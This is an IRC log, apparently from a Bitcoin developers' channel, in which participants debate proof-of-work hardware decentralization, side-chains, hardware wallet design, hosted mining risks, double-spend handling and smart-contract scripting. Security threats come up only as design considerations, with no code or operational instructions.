16:53 < maaku> jtimon: yeah, but the petertodd's goal i think would be to have a pow whose specialized hardware is the everyman's computer
16:54 < jtimon> you could design an algorithm targeted for certain architecture, that's all
16:54 < maaku> e.g., memory-hard and requiring complex computational capability, which would make something like the AMD APU the best system to use
16:55 < petertodd> well, absolute lowest cost will likely be custom hardware, but if it's a matter of custom PCB's and maybe some FPGA's linking it together, you've made a cottage industry that's fairly decentralized vs. ASICs which are hard-centralized.
16:56 < petertodd> and if off-the-shelf PCs aren't *too* large of a difference, people may still very well mine with them for reasons like "because I can" and "hey, free heat!"
16:56 < maaku> petertodd: ASICs will always win out, by double-digit factors I would wager
16:56 < jtimon> to matcht the "majority's architecture" you would need to both 1) predict the futterre 2) cause it, by imposing a favourite arch
16:57 < petertodd> maaku: well, I'm arguing single-digit factors, so we're in agreement roughly :P
16:57 < jtimon> no, maybe not both, sorry I'm...
16:57 <@gmaxwell> good luck powering a common cpu with just a 2 layer pcb.
16:57 < petertodd> jtimon: target RAM and you're within ballpark - heck, litecoin's PoW seems to have decent FPGA performance
16:58 < helo> how would the security-via-difficulty achieved with a novel proof of work and the expected value of nc2 block rewards + fees compare with capitulating to bitcoin merge-mining?
16:58 < petertodd> gmaxwell: 8 and even 16 layer PCB production is pretty decentralized, easilly two orders of magnitude more decentralized than ASIC production
16:58 < maaku> nc2?
16:58 < helo> (namecoin2)
16:58 < jtimon> the main problem is what is the target
16:58 <@gmaxwell> petertodd: okay, I'll grant that.
16:59 * nsh wonders what the unit of decentralization is
16:59 < helo> cost to attack?
17:00 < petertodd> nsh: person dollars?
17:03 < nsh> mmm, maybe
17:03 < jtimon> maaku if petertodd wants to impose a low level architecture that's more philosophical than techincal, what is the "layman arch" of the next year?
17:05 < petertodd> re: ASICs vs FPGA's, this paper suggests numbers ranging from mid double-digits to even low single digits: https://dl.acm.org/citation.cfm?id=1117205
17:05 < jtimon> I think we all overestimate pow
17:05 < jtimon> the rules are the chanel
17:06 < petertodd> suggesting a mem-hard PoW is likely to be FPGA implementable without *that* large of a gap
17:06 < maaku> jtimon: I was being devil's advocate :)
17:06 < maaku> you know I'm diehard pro-ASIC
17:07 < jtimon> what's more important
17:07 < petertodd> FPGA development isn't as decentralized as off-the-shelf PC, but it's still a lot better than ASICs
17:07 < jtimon> we shouldn't be targeting archs
17:07 < maaku> petertodd: i don't know, i think you're likely to get custom, non-von-neuman memory architectures for that
17:07 < maaku> i think people who analyze these things are thinking too much in the box
17:07 < petertodd> jtimon: memory vs FPGA vs ASIC are arch classes; they're fundemental
17:08 < petertodd> maaku: that's the point of FPGA's: you can cheaply make all kinds of crazy non-von-neuman memory architectures
17:08 < jtimon> we should be targeting problems that are common goods and not confilictive with the incentive structure
17:08 < petertodd> jtimon: huh?
17:09 < jtimon> gmaxwell knows how it could go all wrong if we target something "too useful" as pow
17:10 < jtimon> seriously, targetting archs is wrong, even html5 js could be implementedlow level in a way you don't expect now
17:11 < petertodd> jtimon: that's completely unrelated to what I'm talking about... with the one exception that the more competitive the pow is on off-the-shelf hardware, the easier it is to use for things like anti-sybil
17:12 < petertodd> jtimon: again, I'm not arguing for targetting architectures.
17:12 < jtimon> what do ou mean by competitive"?
17:12 < jtimon> what resources are we measuring?
17:13 < jtimon> what are we optimizing for?
17:14 < petertodd> jtimon: I want cost per hash for high-capital-cost ASIC implementations to be as close as possible to cost-per-hash on hardware that is less custom, off-the-shelf pc's are the extreme of less custom, gpu's slightly less so, standard fpga dev kits less, fpga's on custom PCB's even less, etc.
17:14 < petertodd> you pull off that trick by targetting PoW that makes use of RAM as much as possible, because RAM is fairly generic. *how* you target ram is tricky though
17:14 < jtimon> I first of all
17:15 < maaku> petertodd: or you make efficient asics into the commodity, off-the-shelf category
17:16 < jtimon> we willl all code parallel without noticing in the near future thanks to some fancy lib beter than cuda, so please don't anti-gpu
17:16 < petertodd> maaku: and you never will because of the nature of ASIC manufacturing. it may be "commodity", but the world economy appears to be unable to support more than maybe three or four top-of-the-line ASIC manfacturers, and they have a huge advantage over their lesser competitors
17:16 < MoALTz> petertodd: you want to support general computation?
17:16 < jtimon> but everybody has gpus or could have
17:17 < jtimon> I don't but I rented ne for villages gours
17:17 < jtimon> hours
17:17 < jtimon> one
17:17 < maaku> petertodd: so? monopoly/duopoloy on manufacture of asics is not the same as controlling the hashpower itself
17:19 < petertodd> maaku: it's very close to it, those companies can put restrictions of hashing power they produce overnight, for instance they can only sell it to authorized and licensed miners, or build backdoors into the hardware itself
17:20 < jtimon> wait, wait, how are monopoly miners changing the rues again?
17:20 < maaku> to the first that's why we have incentive structures that reward them for widespread distribution (which thankfully the freemarket provided and we didn't have to setup)
17:20 < maaku> the second is a hollywood threat
17:20 < petertodd> maaku: vs. to control FPGA's, let alone generic CPU's, they're forced to put restrictions on a huge industry - that's much harder politically. Not impossible, but much harder.
17:20 < petertodd> maaku: incentives mean nothing to a government that decides Bitcoin needs to be regulated
17:21 < jtimon> I didn't heard that part, maybe I don't get the solutions because I don't undesrtand the problem
17:21 < petertodd> jtimon: by 51% attacking us until we accept their new rules
17:21 < jtimon> why would we accept their new rules
17:21 < petertodd> jtimon: because if we don't we don't have a currency anyway
17:21 < helo> so with asic/memory-hard pow, there would likely be a varying mining script ('header, sha256, sha256' with bitcoin)?
17:22 < maaku> petertodd: and that's the one scenario where we'd realistically switch to scrypt or something else
17:22 < jtimon> chanell 1: morgan and rothchilds 22565554 petachashes
17:22 < jtimon> chanel 2: the rest of the world 100 moderatohashes
17:22 < petertodd> maaku: ah! you mean you'd be glad people like me had researched the problem and had solutions ready.
17:22 < maaku> it's nonsense hollywood threat. no government is going to spend 100's of millions of dollars to construct such an eleaborate scheme with so many moving parts
17:22 < maaku> when it can be so easily undone
17:22 < maaku> (i worked for the government I know ;)
17:23 < maaku> petertodd: ok, I shouldn't have said scrypt - SHA-3 would be more my tastes
17:23 < jtimon> that's the best part of bitcoin: you cant's change the rules unless theres consensus BY THE USERS
17:23 < petertodd> maaku: they don't have too, they tell intel/globalfoundries and tsmc to include cheap lockout circuit in every ASIC they produce so they have a bitcoin kill switch
17:24 < petertodd> jtimon: nope, without mining the rules aren't very useful
17:24 < maaku> petertodd: which you can see with an electron scanning microscope
17:24 < maaku> you want to be useful, organize an effort to image asic chips
17:24 < petertodd> maaku: so what? you have no choice but to buy ASICs that have it if you want performance that doesn't suck
17:24 < jtimon> that's true
09:12 < adam3us> the other annoying thing about airport wifi is i have a pay as you go 3g sim with 3GB/month data allowance for gbp 2/day for UK on any day used, but the wretched thing never works, and i think i grabbed the wrong replacement sim when i was leaving.
09:13 < brisque> gmaxwell: that story is terrible.
09:16 < adam3us> is there anyway to get above SPV security i wonder in a sensible level of bitcoin main changes that doesnt just have both protocols in the client (or a link to a beta validator running in parallel)
09:17 < gmaxwell> well spv security can mean multiple things there is communicationless spv which is what you get when someone hands you a proof and you're happy, and normal spv when you can go out and seek more evidence.
09:17 < gmaxwell> I think we can get it the latter of those two.
09:17 < gmaxwell> More than that implies validating the rules
09:17 < gmaxwell> which implies embeding the rules in bitcoin
09:17 < gmaxwell> and all of the data needed to check the rules
09:18 < gmaxwell> and short of snarks or something, I think thats probably not realistic. (well and not realistic with snarks today regardless but maybe in a few years)
09:19 < adam3us> brb
09:30 < adam3us> gmaxwell: well say hypothetically a client that speaks both bitcoin v1 and bticoin v2 protocol with a pegged side-chain connecting them
09:31 < adam3us> gmaxwell: eg less of a general competition between 2a, 2b 2c etc side-chains but more the next version of bitcoin with fork requiring bug fixes on it, running in parallel with real-value transferred via the 1:1 peg by those who need the 2.x features, eg 1.x for value storage and 2.x for anything other than basic tx (say)
09:36 < adam3us> adding insult to injury this gbp 5/hr wifi is failing I think because of the web injection urls timing out. grr
10:21 < brisque> regarding hardware wallets.
10:22 < brisque> I was looking into various bits of hackable hardware, looking at the specs and everything. realised it's a little pointless when you can get a 6" laptop from Alibaba for 30 pounds or so.
10:23 < brisque> that's all you'd need for a super effective offline device really, and it's cheaper than the Trezor ever was.
10:25 < gmaxwell> brisque: but bulky.
10:26 < brisque> gmaxwell: one of these would work too http://en.qi-hardware.com/wiki/Ben_NanoNote
10:26 < gmaxwell> (also: thats why I didn't order a trezor)
10:26 < gmaxwell> yea, but stupidly expensive.
10:26 < gmaxwell> I actually looked at getting a nanonote for wallet use.
10:26 < gmaxwell> it's not true of trezor but in theory a hardware wallet could be tamper resistant too.
10:27 < gmaxwell> your cheap laptop will suck when the evil made pops the keyboard and adds a keylogger chip.
10:27 < gmaxwell> s/made/maid/
10:28 < brisque> that's why I was thinking of consumer hardware that can be hacked. the childrens toy I mentioned has almost everything you need, including a wireless pink USB dongle. the issue is that you have to open it to get to the serial ports to flash it. not something you can convince everybody to
do. http://d4c027c89b30561298bd-484902fe60e1615dc83faa972a248000.r12.cf3.rackcdn.com/imagepicker/4494/thumbs/IM.jpg
10:29 < gmaxwell> wow neat
10:29 < gmaxwell> what cpu?
10:29 < brisque> that's the other sticking point, it's CPU is a little short on memory.
10:29 < gmaxwell> though wireless usb dongle may mean a rather large attack surface area.
10:30 < brisque> the low memory is ultimately what makes it useless sadly.
10:30 < brisque> works as a RF spectrum analyser though.
10:31 < gmaxwell> why would it make it useless as a signing device?
10:31 < gmaxwell> surely it has enough for that.
10:31 < brisque> http://www.ti.com/product/cc1110f32
10:32 < brisque> 32kB flash, 4kb of RAM
10:32 < gmaxwell> could be used as a signer no problemo.
10:33 < gmaxwell> though uh, perhaps not with wireless.
10:34 < brisque> yeah. my thinking is that there's got to be another dirt cheap childrens toy with an LCD, keyboard and some decent IO that can be hacked into a deterministic wallet.
10:34 < gmaxwell> but, of course, that also makes it easier to tamper with
10:34 < brisque> camera for QR codes, or audio, or even USB pretending to be a HID would work perfectly for this.
10:35 < brisque> isn't the assumption that with a hardware token, your coins are compromised anyway?
10:35 < gmaxwell> hm?
10:36 < brisque> any KDF on an embedded device would make it useless, and no matter what you do the seed is going to be extracted.
10:36 < brisque> I've seen hardware that's meant to destroy keys before, it's not all it's cracked up to be.
10:36 < gmaxwell> nah, you can make successful extraction of the seed pretty hard and make it be destructive.
10:37 < gmaxwell> (be destrutive meaning an intruder couldn't tamper and put it back)
10:37 < gmaxwell> and yea, sure concerted 'offline' effort by an expert you can't be safe from, but certantly it's better if your curious teenager couldn't extract the keys easily.
10:38 < gmaxwell> not saying mandatory: trezor fails this too as I understand it, but it would be preferrable.
10:38 < brisque> there was a game console that did something like that. had a chip with the ROM, and a battery backed RAM chip with a secret key. on boot it XORed the two to get the executable. any screwup meant you lost the RAM chip and had to pay a pile of money for a new one.
10:39 < gmaxwell> yea there are all kinds of interesting things you can do, and then also embed the stuff in epoxy with embeded tripwires that cut power to the ram if cut.
10:40 < brisque> that's all doable, but that wasn't my aim with this concept. a dirt cheap hardware device holding a seed is preferable to a computer running windows and java.
10:40 < gmaxwell> fair enough. probably more interesting to reduce the interface exposure.
10:41 < brisque> QR codes would be ideal, then audio, then you're back to pretending to be a USB HID. are there any other "airgapped" ways of getting TX data to a device?
10:43 < gmaxwell> hid doesn't get you bidirecitional, does it?
10:43 < brisque> it does. the device can pretend to type, and the host can flash the caps lock key.
10:43 < gmaxwell> lol!
10:43 < gmaxwell> thats going to be rather slow
10:44 < brisque> doesn't the trezor pretend to be HID?
10:44 < gmaxwell> no clue
10:44 < gmaxwell> you need to transfer several kb.
10:44 < brisque> yes, the Trezor pretends to be HID too.
10:44 < gmaxwell> man the things you need to do to make windows happy
10:44 < gmaxwell> I would have just made it a usb serial device, but I guess those need drivers in window
10:44 < brisque> being driverless was probably the aim.
10:45 < brisque> 10kB/s using the caps lock light..
10:46 < gmaxwell> crazy, still a bit slow
10:46 < gmaxwell> how about usb storage... plug unplug plug. :P
10:46 < gmaxwell> and sign and enter your pin on the device itself while unplugged.
10:46 < jgarzik> caps lock light - ha, creative!
10:47 < brisque> well for me wanting to hack something, that's probably going to let the host flash the device which is undesirable. I'm really just throwing ideas around.
10:47 < jgarzik> jumping airgaps is all the rage, these days. NSA or private community alike.
10:49 < brisque> doing it usefully is the issue though. I don't want to have to listen to my CPU buzz with a parabolic microphone to get Bitcoin TX data to an embedded device.
10:49 < gmaxwell> obviously why having a device with a minimized surface area matters.
10:49 * gmaxwell looks at gox and hurrays
10:50 < brisque> gmaxwell: I wanted a Ben NanoNote just to play with, doesn't look like anybody sells them anymore.
10:51 < brisque> by the looks of things, the easiest and cheapest airgap transmission is audio. if people hated dialup modems they're going to hate me screaching 200kB of previous outputs at them.
10:51 < gmaxwell> brisque: harder to setup bidirectional.
10:52 < gmaxwell> how about a usb device immitating a sound device?
10:52 < brisque> USB sound cards are cheap as chips, you can get one that works on any linux device for a few dollars.
10:52 < gmaxwell> and then you can easily just get 192kbit/sec in each direction using two bits per sample, and it would be completely inaudable if addressed to the wrong device.
10:52 < brisque> bonus, you can do transfer over audio to a phone.
10:54 < brisque> imitating a USB sound device would be doable though. matching a generic driver on the host would mean no attack surface.
10:54 < brisque> could also have audio output, then connecting to a cellphone would work.
10:55 < brisque> bonus mode, make adaptors so that transactions can be signed over phones, 56k style
10:57 < jgarzik> I continue to be stunned that mtgoxUSD receives the trading action that it does
13:33 < justonegy> hello
13:33 < justonegy> anywhere here who can help with ubuntu build?
13:33 < justonegy> or rather wants to..
13:39 < michagogo|cloud> justonegy: What about it?
13:39 < michagogo|cloud> (though this is most likely off-topic for this channel...)
13:40 < justonegy> I'm trying to build and its difficult to find information
13:40 < justonegy> EXCEPTION: N5boost12interprocess22interprocess_exceptionE
13:40 < sipa> #bitcoin or perhaps maybe #bitcoin-dev
13:41 < justonegy> checking for Berkeley DB C++ headers... default
14:06 < justonegy> no one want to help?
14:07 < justonegy> trying to fix this issue and there is just no information and the debug info is non existent
14:08 < sipa> please, not here
14:08 < jcorgan> #bitcoin-dev is better, and, you need to provide a bit more info
14:25 < midnightmagic> lol, one more reason why having a maid is crazy.
14:25 < midnightmagic> if yer in a house and can't vacuum your own floors, you're in the wrong damn house.
18:37 < petertodd> 1CounterpartyXXXXXXXXXXXXXXXUWLpVr <- crazy, 107BTC sacrificed for some "protocol for the creation and use of decentralised financial instruments such as asset exchanges, contracts for difference and dividend payments"
21:14 < petertodd> gmaxwell: oh, maybe I did miss some older ones
21:15 < gmaxwell> (and 0.0004 should greatly improve the odds)
21:15 < petertodd> ah, yeah I think I did
21:15 < petertodd> well, it'd be a conflict now, so I just resent the old ones
21:16 < gmaxwell> 0bin?
21:16 < petertodd> http://0bin.net/paste/j5LLNLEDS7WFsf3S#XJaGGObQv3VZyuUFWSScsbMHFvyMStuXTGzzhrion7c=
21:16 < gmaxwell> nicely, if the second one fails I can merge these myself. :P
21:16 < petertodd> nice that OP_RETURN is now standard...
21:17 < petertodd> enough git head nodes that it's propagated across all my nodes at least
21:20 < gmaxwell> with them merged Total: 0.00227106
21:21 < gmaxwell> this is the merged one: http://0bin.net/paste/4kgGct5K+guuOdY8#7u9CCxfYaOz//nFCqfII5xS53sYx1V0oQSX7i2RjTuQ=
21:26 < petertodd> that GHash.IO is performing an investigation sets a very bad precedent IMO
21:30 < gmaxwell> phantomcircuit: how so?
21:30 < gmaxwell> er petertodd
21:30 < petertodd> lol
21:30 < petertodd> the idea that miners have any responsibility towards zero-conf users is dangerous
21:30 < petertodd> for instance it means you can't change your mempool acceptance rules
21:31 < petertodd> and raises ugly questions about what to do in the event of DoS attacks
21:31 < gmaxwell> well, changing your rules is a bit different from making a bunch of doublespends yourself and then paying the procedes to miners.
21:31 < gmaxwell> investigation doesn't mean conclusion either. like... uh .. if they don't _know_ how that was happening, thats .. bad.
21:32 < petertodd> so? it's a slippery slope. For instance is it ok that Eligius blocks some tx's from ever entering it's mempool, allowing a 10% double-spend attack?
21:32 < gmaxwell> I mean, if they don't know and can't just answer it suggests that they're not actually in control of their own stuff. 0_o
21:33 < gmaxwell> vs eligius filtering where wizkid or luke can step right up and say "yea, we block txn that look like X"
21:34 < petertodd> well such is renting out hashing power...
21:34 < gmaxwell> sure... which no one who cares about their investment in hardware should ever do...
21:34 < gmaxwell> Which I assume will be their answer, because it's an easy out regardless of the real cause.
21:35 < petertodd> ...except when they've already sold it all on an exchange, and the peopel on the exchange figure they can sell it to the other sucker before anything happens
21:35 < gmaxwell> well, there is still the value of the hardware itself.
21:36 < petertodd> what value? CEX doesn't own it anymore if I understand their business model correctly
21:36 < petertodd> just maintenance, and that could be negative value if they ever screw up
21:36 < petertodd> (negative to CEX)
21:36 < gmaxwell> moral hazard in any case you can rent out your hashpower fine, so long as few enough other people do it too.
21:37 < gmaxwell> I wasn't sure how much of the hardware cex had sold off as shares
it's never been priced attractively.
21:37 < gmaxwell> but fair point...
21:39 < gmaxwell> what a mess.. you hardware fractionalized and sold to people with no control over it.. who then mine at a single enormous pool which is full of these miners that can't vote with their feet.
21:39 < petertodd> well, assume they sold it all off, and then screwed up the contract such that they couldn't get out of supporting it for people at a price that wasn't profitable. They're incentive is to actually destroy Bitcoin.
21:40 < petertodd> More likely, they don't have any strong incentive *not* too...
21:43 < gmaxwell> The maintenance fee is estimated as $0.30 / kW x hour: $0.17/kW electricity cost + $0.09 data centre upkeep + $0.04 hardware repair/maintenance.
21:44 < petertodd> Sure, and screw up that contract in some way... You want an unconditional "out" clause, but eventually someone in the business is going to mess that up.
21:44 < gmaxwell> at the moment their hosting is 3.15% of the mining returns. looks like its structured so they can't get screwed.
21:46 < petertodd> Eventually someones going to mess that up. Also remember that their ROI is %3, so the amount of money sufficient to make it in thier interests to do something that damages Bitcoin is significantly less than for their customers.
21:47 < gmaxwell> right. Agreed. some stupid doublependy thing that doesn't return much could easily double their profit.
21:48 < gmaxwell> lol the users get dinged for another 3% pool fee.
21:51 < petertodd> well, a painless 3% is pretty attactive to a lot of people
21:51 < gmaxwell> there is a calculator on their site that shows 1 GH will net 0.08 BTC over its life.... and currently on their market 1GH/s sells for 0.09. :P
21:52 < petertodd> ha
21:52 < midnightmagic> *-/
21:52 < gmaxwell> their calculator assumes 50% hashrate growth per month. which is probably low for the near term, and in the longer term their operating fees eat the profits regardless of how you set it.
21:53 < gmaxwell> oh great, they are saying they'll have short selling by november 16th.
21:56 < petertodd> yeah we're fucked
21:57 < gmaxwell> Is there anything I can do about the high stale counts on the GHash.IO pool?
21:57 < gmaxwell> The stale and duplicate shares are kept to the minimum, however we do not guarantee low stale and duplicate shares on 3rd party hardware mining at out pool.
21:57 < gmaxwell> 0_o this is in the faq on the cex.io site.
21:58 < gmaxwell> We are conducting business as a legitimate UK based company. We will not be able to disappear, as we are governed by UK laws.
22:00 < gmaxwell> When conducting Bitcoin Transfer Transactions with a Bitcoin user who is not a Member, CEX.io responsibility shall be further limited to ensuring the transfer of the necessary technical data to the Bitcoin peer-to-peer network.
22:01 < petertodd> "* At any point in time we may elect to turn into a Cayman Islands company, and such act will not constitute a disappearance"
22:03 < gmaxwell> CEX.io may by notice to Members discontinue or modify the Platform and/or revise or terminate these Terms at any time.
22:05 < gmaxwell> Additionally, we may, in appropriate circumstances and at our discretion, suspend or terminate Accounts of Members for any reason, including without limitation: ... (6) unexpected operational difficulties,
22:06 < gmaxwell> sounds like: 'although you cannot see us, we are technically visible in that we are opaque to optical radiation and thus have not disappeared.'
22:06 < petertodd> heh
22:08 < gmaxwell> I can't find any terms related to the actual hardware.
22:12 < petertodd> the sad thing is how even with fancy ZI stuff to let hashers steal block rewards and stuff, it still doesn't solve the problem of hosted mining
22:12 < gmaxwell> petertodd: the older one (at least!) went through!
22:12 < petertodd> nifty
22:12 < gmaxwell> petertodd: the miners here can't even tell the hardware exists.
22:12 < petertodd> exactly
22:13 < gmaxwell> much less that they're not being robbed on it.
22:13 < petertodd> and if they keep getting their expected dividend, who'se to say they're really being robbed?
22:14 < gmaxwell> you could create a bitminter.io and pay a few weeks of dividends as people pile in to buy cheap "fasthash" gigahashes... and then just walk.
22:14 < petertodd> ha, for sure!
22:14 < petertodd> no hardware required
22:19 < gmaxwell> in any case you saw my initial response on that post "meh". I've never been one to think that just because your door is unlocked that its okay to rob you, but an unconfirmed gambling site is ... well I don't know what to think about that. but the fact that it looks like the pool or cex was earning a profit from it is interesting.
22:21 < petertodd> double-spend warnings are going to make this really interesting given that gavin's planning on implementing them by broadcasting the whole tx
22:23 < gmaxwell> if you don't broadcast the whole tx it's hard to verify they're correct... and just sending, e.g. pubkey,sig or whatever doesn't let you do things like ignore ones that still pay you.
22:23 < gmaxwell> so yea...
22:23 < gmaxwell> heh 2013-11-12 03:11:42 CWalletTx::GetAmounts: Unknown transaction type found, txid 499e80a173ee095d44b1c3503c5d00015222a2d7c17a2140fa16f28eeeda8b93
22:24 < petertodd> never mind that you can always rebroadcast a sig from an earlier tx if you do it with just hashes
22:24 < petertodd> (due to address re-use)
22:24 < gmaxwell> indeed.
22:24 < gmaxwell> "what ashame!"
22:24 < petertodd> it'll be a good time to push direct replace-by-fee, and incentivise it by making some double-spends with, say, 0.5BTC fees
22:25 < petertodd> won't surprise me if people try to push making miners ignore blocks that contain things they think are double-spends of course... but that has lots of ugly consequences
22:26 < gmaxwell> very bad for convergence.
22:26 < gmaxwell> esp if you flood the network with concurrently broadcasted doublespends.
22:26 < petertodd> yup, and makes any mempool difference practically a forking bug
22:26 < amiller> No one ever seems to bother doing a secure multiparty lottery
22:27 < amiller> in multiparty computation there are auctions and fair exchanges and stuff like that
22:27 < amiller> Adam Smith is quoted as saying "there can never be a fair lottery" but we should be able to do exactly that
22:27 < amiller> you would absolutely need a non-EU model or rationality to even analyze the lottery under terms like that
22:27 < petertodd> why would I want to do that? I'm a trustworthy guy.
22:28 < amiller> what does trustworthy have to do with participating in a lottery?
22:28 < petertodd> I'm running the lottery, you can trust me to do it fairly. Why trust all this crypto shit? It's probably designed by the NSA anyway.
22:29 < gmaxwell> amiller: most of this mpc stuff isn't even secure in an model where an attacker is active.
22:29 < gmaxwell> most of it is against a model where the attacker is curious but won't compromise the protocol.
14:28 < gmaxwell> e.g. coding 5 checksigs and then a truth table over them would likely not be the best way to represent that multisig. The truth table is smaller than the branching stuff, but if we had hash compression of untaken branches the branching stuff would be smaller.
14:29 < gmaxwell> So I was wondering if there might be an efficient representation for truth tables where that _wouldn't_ be the case, e.g. where no 1 bit prefix can factor out at least two of the interior tests.
14:30 < gmaxwell> e.g. there is no such x input wire that makes the table insensitive to more than two or more other wires.
14:31 < nsh> beats me
14:34 < Taek42> Would Pierce's logic help any?
14:45 < amiller> i'm interested if anyone here has looked at ethereum http://ethereum.org/ethereum.html
14:45 < amiller> vitalik's attempt at making a broader script language for contracts
14:46 < amiller> the main interesting thing is you can have a "contract", which is like a persistent utxo, it receives data inputs from transactions, it has a special register-like thing representing a "balance" of conserved currency, and it can contains instructions that "send" from that balance to some other contract
14:49 < pigeons> i dont know what can be done about it, and obviously its not a technical issue, but when i look at different smart contract proposals, not usually directly bitcoin related, i wonder about how sometimes a party to the contract would need to be an expert in the execution platform and the language to be sure the contract he is agreeing to, maybe written by
the other party will do what he expects. i guess that's no different than "real world" "du
14:49 < gmaxwell> pigeons: you got cutoff at than "real world" "du
14:49 < pigeons> real world "dumb" contracts
14:50 < pigeons> not that anyone can protect everyone from potential ripoffs all the time, but some people would try to fool people. contract does X, but it does not
14:50 < gmaxwell> pigeons: but sure, part of the point is that "standard" contracts can be formed which get reviewed by experts. But its absolutely an issue, and its part of the reason that the simple forth-like encoding in bitcoin is pretty good
simply becasuse it actually isn't TOO terrible for the right kind of expert to evaluate them. Likewise, their non-turing
completeness makes it possible to make tools that analize them and present to you ...
14:51 < gmaxwell> ... all the ways of satisifying them.
14:51 < pigeons> right
14:59 < maaku_> gmaxwell: if you allow non-valid pubkeys and sigs for the ones which are not required, isn't that enough?
14:59 < maaku_> e.g. the pubkey script is OP_TABLE for x,y,a,b,c
15:00 < maaku_> the scriptSig is x-pubkey x-sig y-pubkey y-sig OP_0 OP_0 OP_0 OP_0 OP_0 OP_0
15:00 < maaku_> er-no, you need to check that the pubkeyhashes match, nevermind
15:01 < andytoshi> amiller: i've seen it mentioned a few times here, so i think somebody (not me) has looked into it
15:02 < amiller> ok. it's possible i've pasted it here before too.
15:02 < amiller> having a) contracts that persist through multiple transactions and b) a way of sending value from one to another are both new
15:02 < amiller> and far more relevant to discuss imo than the red herring of turing completness
15:03 < maaku_> well, open-txns does that
15:03 < maaku_> but new as a bitcoin proposal i suppose
15:03 < maaku_> it fails spectacularly at managing DoS potential with its TC scripts
15:03 < gmaxwell> amiller: well I think the covenants post I made shows the kind of farscial mess you can make with that stuff.
15:04 < gmaxwell> I'd be more interesting in someone giving a clear example which can't just be replaced with an interactive protocol.
15:04 < amiller> chess game
15:04 < gmaxwell> I'm sure ones exist, but I mostly drew a blank.
15:05 < amiller> the reason you can't do multiple round protocols with bitcoin including covenant script is that you can't condition future txouts on the current txout
15:05 < gmaxwell> amiller: what, you have the program verify your chess witness? One of the players will just stop moving once he sees that he'll lose but before the transcript is finished,
exponential advantage for cheating.
15:06 < amiller> ok so you do the standard trick for adding fairness by having a move timer
15:06 < amiller> if you fail to publish a valid move within k blocks you forfeit
15:08 < gmaxwell> amiller: okay, fair enough.
15:08 < amiller> so. maybe it's still possible to do this with covenant
15:08 < amiller> because you can make the input claimable with evidence that there is a blockchain with sufficient length that includes corresponding transactions etc. whatever
15:09 < amiller> maybe you can always transform any other smart-contract system into one with the current semantics and using chain proofs like that.
15:09 < gmaxwell> amiller: in any case, its _always_ possible without making the network evaluate turing complete code, because you can just outsource script processing via a snark.
15:10 < amiller> yes turing complete is completely irrelevant here
15:11 < amiller> i think the semantics of the chess game example are pretty clear and that makes it a good example, it's just not an obvious business case financial impact kind of thing, that's the only problem with it
15:11 < gmaxwell> Then what is? you can allow arbritary data from the chain just by extracting it and presenting it to the program.
15:11 < amiller> including a proof that a suitable transaction doesn't exist?
15:12 < amiller> like if i wanted to time out the player who fails to publish a chess move, i would want to show that the current chain has k blocks and does not contain a valid move
15:12 < gmaxwell> why would you even publish the moves? you'd use a dominating spend like I proposed for anti-cheat in the coinwitness thread.
15:13 < gmaxwell> Basically if someone tries to time out redeem the game, the output is covenant locked so that it can be spent by either a longer witness or after a final timeout.
15:14 < gmaxwell> Was I clear enough there? sorry. I don't actually know how much of what I'm talking about you've read.
15:14 < gmaxwell> I didn't want to repeat it all if you've read it all.
15:14 < amiller> i've at least skimmed both threads but i am pretty sure i don't understand many details correctly
15:15 < gmaxwell> amiller: the idea is that to redeem the prize in our chess game you either present proof you've seen a complete transcript for the game in which you've won OR
15:16 < gmaxwell> if the time is past a timeout, AND you present a transcript where your move is last then you can spend it with a transaction whos TXOUT is constrained, such that:
15:16 < gmaxwell> it can be spent after a final timeout (some time from now) OR it can be spent by a similar constrained transaction which a somewhat advanced final timeout and proof of a witness of a longer transcript.
15:17 < amiller> witness of a longer transcript than what
15:17 < gmaxwell> that the longest seen so far, it accumulates.
15:17 < amiller> here's an edge case though
15:17 < amiller> suppose player 1 has a timeout
15:17 < amiller> but player 2 does *not* have a timeout
15:18 < amiller> player 1 publishes his move in time
15:18 < amiller> player 2 pretends that he didn't see the first move, and shows a long transcript and tries to redeem the timeout
15:18 < gmaxwell> He can't, because player 2 can't produce a longer transcript on his own.
15:19 < amiller> player 1 can't just try to timeout player 2 because player 2 isn't on the clock, but you would want to prevent player 2 from omitting the published move
15:20 < gmaxwell> amiller: e.g. player 1 moves, player 2 tries to redeem an empty transcript. Player 1 says fuck you and publishes a 1 move transcript. Player 2 can either give up, or present a 2 move transcript. If he does the latter player 1 can present a three move transcript and so on.
15:20 < amiller> when is the coin irrevocably spent?
15:20 < amiller> if this can keep going on
15:21 < gmaxwell> when the transcript can grow no more, or when someone finally misses an update timeout.
15:22 < gmaxwell> and sure, it's probably possible in chess (it is possible in go) to setup a case where the game goes periodic-stalemate in which case it could go on forever if no party will yield. But the evaluation model doesn't matter there.
15:23 < gmaxwell> (e.g. you can't solve this by having proof of publication)
15:52 < jtimon> gmaxwell, for your non-disclousure key logic problem
15:54 < jtimon> any boolean ecuation can be turned into the form (a * c * e) + (b * c * e), wait
15:54 < jtimon> let me look at your example
15:54 < jtimon> well, no
15:55 < gmaxwell> the 2 of 3 can be expanded into (a&&b or b&&c or a&&c)
15:55 < jtimon> the point is to build a tree with N or branches
15:55 < jtimon> n OR branches
15:56 < jtimon> a tree in which width is OR and deep is AND
15:56 < jtimon> argh
15:56 < jtimon> words don't come easy
15:58 < jtimon> and anything can be expanded to that structure
15:59 < jtimon> to get the coins you only need to reveal the relevant branch
15:59 < jtimon> sorry, I'll smoke a cigarrete while trying to translate that to english
16:01 < gmaxwell> jtimon: right, but because hiding a branch still costs you a 256 bit hash, it doesn't save you anything to hide a branch that only contains one key, its better to just test it directly at the current level.
16:02 < gmaxwell> e.g. you would not represent a or b as a else {b}
16:07 < jtimon> ?I don't understand the e.g.
16:08 < jtimon> but about the hidden branch hash cost
16:08 < jtimon> it is on the scriptSig, not the scriptPubKey, does it really matter?
16:08 < jtimon> well, yes, sorry
16:08 < jtimon> not that much, but still matters
16:18 < jtimon> <maaku_> it fails spectacularly at managing DoS potential with its TC scripts
16:18 < jtimon> I'm not so sure about that
16:19 < jtimon> my understanding (and I'm not sure I understand the proposal)
07:54 < adam3us> TD, gmaxwell: i admit some fault with coingen.io also (I was stting opposite mappum when he registered the domain), not a new idea apparently, but I yacked about how cool it would be a bunch with BlueMatt and put him up to it. maybe it'll back fire in interesting ways, but the intent is humorous clearly and genuine: to deflate param tweaks
07:56 < adam3us> TD, gmaxwell: and its actually serious. it seems to me that alts are stifling actual innovation. if u think about it inmany ways bitcoin innovation has virtually stalled since 2009. thats why i want to kill param-tweaks, and think pegged side-chains are the bet new idea since 2009 in bitcoin period.
